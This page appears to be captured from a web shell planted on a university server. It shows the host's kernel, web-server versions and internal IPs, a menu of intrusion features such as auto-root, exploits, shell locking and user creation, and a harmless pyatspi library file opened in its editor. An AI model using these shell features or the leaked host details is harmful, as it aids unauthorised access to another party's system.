Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
pyatspi /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
Accessibility.py
11.3
KB
-rw-r--r--
action.py
4.85
KB
-rw-r--r--
appevent.py
3.66
KB
-rw-r--r--
application.py
2.78
KB
-rw-r--r--
atspienum.py
1.39
KB
-rw-r--r--
collection.py
3.96
KB
-rw-r--r--
component.py
8.74
KB
-rw-r--r--
constants.py
4.79
KB
-rw-r--r--
deviceevent.py
9.48
KB
-rw-r--r--
document.py
3.6
KB
-rw-r--r--
editabletext.py
5.02
KB
-rw-r--r--
hypertext.py
2.76
KB
-rw-r--r--
image.py
5.01
KB
-rw-r--r--
__init__.py
993
B
-rw-r--r--
interface.py
980
B
-rw-r--r--
registry.py
19.42
KB
-rw-r--r--
role.py
13.54
KB
-rw-r--r--
selection.py
5.63
KB
-rw-r--r--
state.py
5.35
KB
-rw-r--r--
tablecell.py
3.08
KB
-rw-r--r--
table.py
15.77
KB
-rw-r--r--
text.py
32.07
KB
-rw-r--r--
utils.py
13.99
KB
-rw-r--r--
value.py
2.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : selection.py
#Copyright (C) 2008 Codethink Ltd #Copyright (C) 2010-2011 Novell, inc. #This library is free software; you can redistribute it and/or #modify it under the terms of the GNU Lesser General Public #License version 2 as published by the Free Software Foundation. #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU Lesser General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. from gi.repository import Atspi from pyatspi.utils import * from pyatspi.interface import * __all__ = [ "Selection", ] #------------------------------------------------------------------------------ class Selection(interface): """ An interface which indicates that an object exposes a 'selection' model, allowing the selection of one or more of its children. Read-only Selection instances are possible, in which case the interface is used to programmatically determine the selected-ness of its children. A selected child has State::STATE_SELECTED, and a child which may hypothetically be selected (though possibly not programmatically selectable) has State::STATE_SELECTABLE. """ def clearSelection(self): """ Attempt to clear all selections (i.e. deselect all children) of a Selection. Not all Selection implementations allow the removal of all selections. @return True if the selections were successfully cleared, False otherwise. """ return Atspi.Selection.clear_selection(self.obj) def deselectChild(self, childIndex): """ Remove a child from the selected children list of a Selection, if the child is currently selected. @param : childIndex a long integer (the zero offset index into the Accessible object's list of children) indicating which child of the Selection is to be selected. @return True if the child was successfully selected, False otherwise. """ return Atspi.Selection.deselect_child(self.obj, childIndex) def deselectSelectedChild(self, index): """ Remove a child to the selected children list of a Selection. @param : selectedChildIndex a long integer indicating which of the selected children of the Selection is to be deselected. The index is a zero-offset index into the 'selected child list', not a zero-offset index into the list of all children of the Selection. @return True if the child was successfully deselected, False otherwise. """ return Atspi.Selection.deselect_selected_child(self.obj, index) def getSelectedChild(self, index): """ Get the i-th selected Accessible child of a Selection. @param : selectedChildIndex a long integer indicating which of the selected children of an object is being requested. @return a pointer to a selected Accessible child object, specified by selectedChildIndex. """ return Atspi.Selection.get_selected_child(self.obj, index) def isChildSelected(self, index): """ Determine whether a particular child of an Selection implementor is currently selected. Note that childIndex is the zero-offset index into the standard Accessible container's list of children. @param : childIndex an index into the Selection's list of children. @return True if the specified child is currently selected, False otherwise. """ return Atspi.Selection.is_child_selected(self.obj, index) def selectAll(self): """ Attempt to select all of the children of a Selection implementor. Not all Selection implementors support this operation (for instance, implementations which support only "single selection" do not support this operation). @return True if successful, False otherwise. """ return Atspi.Selection.select_all(self.obj) def selectChild(self, index): """ Add a child to the selected children list of a Selection. @param : childIndex a long integer indicating which child of the Selection is to be selected. @return True if the child was successfully selected, False otherwise. """ return Atspi.Selection.select_child(self.obj, index) def get_nSelectedChildren(self): return Atspi.Selection.get_n_selected_children(self.obj) _nSelectedChildrenDoc = \ """ The number of children of a Selection implementor which are currently selected. """ nSelectedChildren = property(fget=get_nSelectedChildren, doc=_nSelectedChildrenDoc) #END----------------------------------------------------------------------------
Close